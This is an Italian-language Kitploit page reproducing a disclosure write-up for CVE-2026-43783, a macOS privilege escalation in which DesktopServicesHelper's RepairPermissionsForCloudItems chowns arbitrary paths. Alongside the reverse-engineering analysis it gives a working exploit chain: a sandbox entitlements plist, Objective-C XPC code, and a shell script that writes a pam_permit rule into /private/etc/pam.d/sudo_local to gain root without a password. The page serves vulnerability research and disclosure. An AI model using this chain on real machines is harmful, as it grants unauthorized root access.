Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-43783 — Proof-of-concept e analisi tecnica per CVE-2026-43783, un'escalation locale di privilegi su macOS tramite DesktopServicesHelper XPC con chown arbitrario per ottenere i privilegi di root. | Kitploit
Strumenti/GitHubGitHub/andrd3v/cve-2026-43783
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringPenetration TestingAnalisi di BinariPaper e Ricerca
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

Proof-of-concept e analisi tecnica per CVE-2026-43783, un'escalation locale di privilegi su macOS tramite DesktopServicesHelper XPC con chown arbitrario per ottenere i privilegi di root.

Vedi Repository
26 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-43783: Repair Permissions - Get Root: LPE tramite DesktopServicesHelper in macOS 26.5

Il daemon che Finder utilizza per "riparare" i permessi sui file iCloud si è rivelato disposto a riparare i permessi su qualsiasi cosa, comprese le directory di sistema. In questo articolo vedremo come funziona DesktopServicesHelper sotto il cofano e perché una singola richiesta XPC è stata sufficiente per ottenere i privilegi di root.

Dentro DesktopServicesHelper

Stavo cercando target con com.apple.private.tcc.allow con il valore kTCCServiceSystemPolicyAllFiles e DesktopServicesHelper ha attirato la mia attenzione. DesktopServicesHelper si trova in /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, e Finder lo utilizza per operazioni sui file che richiedono privilegi elevati: spostare file, impostare permessi, lavorare con il Cestino.

Entitlements DesktopServicesHelper

Ho caricato il binario in IDA e sono andato in start(). Superata la solita configurazione di timer e code, crea un listener XPC, il punto di ingresso del daemon. Il listener registra un servizio mach sotto un nome specifico e inizia ad ascoltare le connessioni in arrivo. Qualsiasi processo che conosca questo nome può connettersi e inviare una richiesta. Ecco la parte chiave:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
La funzione `sub_1000709F4` restituisce il nome del servizio mach. In `start()` viene chiamata con argomento 0, il che significa che il daemon si registra con il nome `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48 è un blocco handler (callback) che il daemon invoca per ogni evento in arrivo. XPC è basato su messaggi: il client costruisce un dizionario con chiavi e valori, lo invia al daemon, e il daemon analizza il contenuto e decide cosa fare. Tutti gli eventi in arrivo finiscono in questo handler. Diamo un'occhiata all'interno.

stru_1000B4B48 in IDA

La funzione invoke del blocco è sub_100032044. Su una nuova connessione, il daemon recupera prima l'euid e l'egid del client - ID utente effettivo e ID gruppo effettivo - gli identificatori dell'utente e del gruppo sotto cui viene eseguito il processo che si connette:```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
Poi assegna un handler per i messaggi in arrivo sulla connessione:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - è qui che arrivano le richieste XPC effettive dal client. Ora dobbiamo capire come il daemon decide quali richieste eseguire e quali rifiutare.

Dispatcher delle richieste

sub_10003AB2C è il dispatcher principale. È qui che il daemon decide cosa fare con una richiesta. La funzione è grande, quindi analizziamola pezzo per pezzo.

Innanzitutto, estrae la stringa "request" dal messaggio - il nome del comando che il client vuole eseguire:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
Poi il daemon recupera l'audit token del processo che si connette e verifica se è in esecuzione all'interno di App Sandbox. App Sandbox è un meccanismo di isolamento delle applicazioni macOS che limita l'accesso al file system, alla rete e ad altre risorse. Qui è dove si dirama:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

Se il client è in sandbox, il nome della richiesta viene verificato rispetto a una allowlist di sette stringhe. Se corrisponde, il controllo passa e la richiesta viene inoltrata. In caso contrario, sub_100034250 termina il daemon. Se il client non è in sandbox, il daemon verifica la presenza dell'entitlement com.apple.private.tcc.allow con il valore kTCCServiceSystemPolicyAllFiles. L'assenza dell'entitlement comporta anch'essa la morte.

Dopo aver superato il controllo, la richiesta attraversa due tabelle di handler. Prima sub_10002F7C8, poi sub_10002A194:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
Ora esaminiamo le tabelle dei gestori. La prima tabella (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

Niente di interessante qui. Otto handler (OperationSizing, SetChildPermissions, ...), tutti protetti da controlli di entitlement. Ma c'è una seconda tabella - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
Questo ci dà 21 handler. Il dispatcher funziona a cascata: prima cerca il nome della richiesta nella prima tabella (`sub_10002F7C8`, 8 comandi) - queste sono operazioni "fire-and-forget" che ricevono la connessione XPC e il peer (oggetto client) ma non restituiscono una risposta. Se non trovato - cerca nella seconda tabella (`sub_10002A194`, 21 comandi) - queste sono operazioni con una risposta, che ricevono inoltre una reply (oggetto per inviare il risultato al client).
Quasi tutti i comandi o non fanno nulla di interessante o sono vincolati a controlli di entitlement. Ma ce n'è uno aperto - `RepairPermissionsForCloudItems`. Troviamo il suo handler. Nell'assembly possiamo vedere che `sub_10002AA78` prende un puntatore a funzione come terzo argomento:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744. Abbiamo trovato l'unico handler accessibile dalla sandbox senza entitlement aggiuntivi. Ora vediamo cosa fa effettivamente con i dati che riceve.

Analisi dell'handler RepairPermissionsForCloudItems

L'handler sub_10002D744 fa tre cose. Innanzitutto, estrae la chiave "Paths" dal messaggio XPC e la deserializza tramite NSKeyedUnarchiver in un array di stringhe:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
Poi passa ciascun percorso a `sub_100029CE4` tramite `sub_100034B5C` per determinare se è necessario un "repair". Per i percorsi che necessitano di riparazione, chiama `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

Non esiste alcuna validazione del percorso: qualunque cosa venga passata viene elaborata. La funzione sub_100029CE4 verifica se è necessario un "repair". Ecco la logica chiave:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
La logica di controllo:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

Per i percorsi che necessitano di riparazione, viene chiamata sub_10002A11C - un semplice ciclo che itera sui risultati e chiama sub_100029440 per ciascuno di essi. Ecco la logica chiave di sub_100029440:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
È tutto. Il daemon chiama `fchown` su qualunque percorso venga fornito, senza verificare che risieda in `~/Library/Mobile Documents/` o in qualsiasi container iCloud. E se il percorso è una directory, la funzione attraversa ricorsivamente tutti i suoi contenuti e chiama `fchown` su ogni elemento.
Rileggilo. Lascialo assimilare. Passa qualsiasi directory - e ne possiedi tutti i contenuti.

## Riepilogo

La catena completa dalla richiesta XPC a `fchown`:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

Una richiesta XPC - e qualsiasi file o directory è nostra.

Sfruttamento

Quindi abbiamo un chown arbitrario su qualsiasi percorso del disco. Ora dobbiamo solo trasformarlo in root. Su macOS, l'autenticazione passa attraverso PAM. Le configurazioni sono in /private/etc/pam.d/ - un file per ogni programma che verifica le password: sudo, login, su, ecc. La directory è di proprietà di root:wheel. Quindi possiamo prenderne possesso con il nostro chown. Dopodiché siamo liberi di creare il file /private/etc/pam.d/sudo_local con una singola riga:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so` è un modulo PAM che restituisce sempre successo. `sudo` controlla `sudo_local` prima della configurazione principale. Risultato: `sudo` non chiede più la password.

Ma c'è un intoppo. Non puoi semplicemente connetterti a `com.apple.DesktopServicesHelper` dalla sandbox: la sandbox blocca il mach-lookup verso questo servizio per impostazione predefinita. Ma il daemon stesso verifica che il processo chiamante sia in sandbox - e solo allora lascia passare `RepairPermissionsForCloudItems` senza un controllo delle entitlement. L'ironia: la sandbox qui non è una difesa - è un lasciapassare.

Per far passare il mach-lookup oltre la sandbox, abbiamo bisogno dell'entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Ecco il set minimo di entitlement per l'applicazione PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

Due entitlement. com.apple.security.app-sandbox - abilita la sandbox (senza di essa il daemon richiederebbe un entitlement TCC e ci rifiuterebbe). com.apple.security.temporary-exception.mach-lookup.global-name - un entitlement di eccezione della sandbox. La sandbox non consente connessioni a tutti i servizi mach, e com.apple.DesktopServicesHelper non è nella lista consentita. Questa chiave aggiunge un'eccezione per un servizio specifico. È tutto ciò che ci serve. Il codice va direttamente in ViewController.m. Il metodo chiave è chownPath:, che si connette al daemon e invia la richiesta:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
Ci connettiamo a `com.apple.DesktopServicesHelper`, archiviamo il percorso in un `NSArray` tramite `NSKeyedArchiver` (come si aspetta il daemon), costruiamo un dizionario XPC con la chiave `"request"` = `"RepairPermissionsForCloudItems"`, e lo inviamo.

All'avvio dell'app, chiamiamo `chownPath:` su `/private/etc/pam.d` e controlliamo il risultato:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200ms di attesa, poi lstat - se il proprietario è cambiato al nostro UID, il chown è riuscito.

Ora mettiamo tutto insieme. Lo script shell avvia l'applicazione PoC, attende che il daemon faccia il suo lavoro, verifica che il chown sia riuscito, scrive la regola PAM e ottiene root:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## La patch di Apple
Apple ha aggiunto un controllo di entitlement all'inizio del gestore `RepairPermissionsForCloudItems`:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

Ora solo i processi con l'entitlement privato com.apple.private.desktopservices.cloud-repair-perm possono invocare RepairPermissionsForCloudItems. Senza di esso - sub_100034250 termina il daemon. Il resto della logica della funzione rimane invariato.

Timeline

DataEvento
05/09/2026Segnalazione inviata ad Apple Product Security
05/11/2026

Grazie per la lettura, buona caccia ai bug!

Scarica lo strumento
Apple ha spostato la segnalazione in revisione
05/13/2026Apple ha riprodotto il bug, fix pianificato per l'autunno
05/26/2026Patch in macOS 26.6 beta 1
08/11/2026Assegnato CVE-2026-43783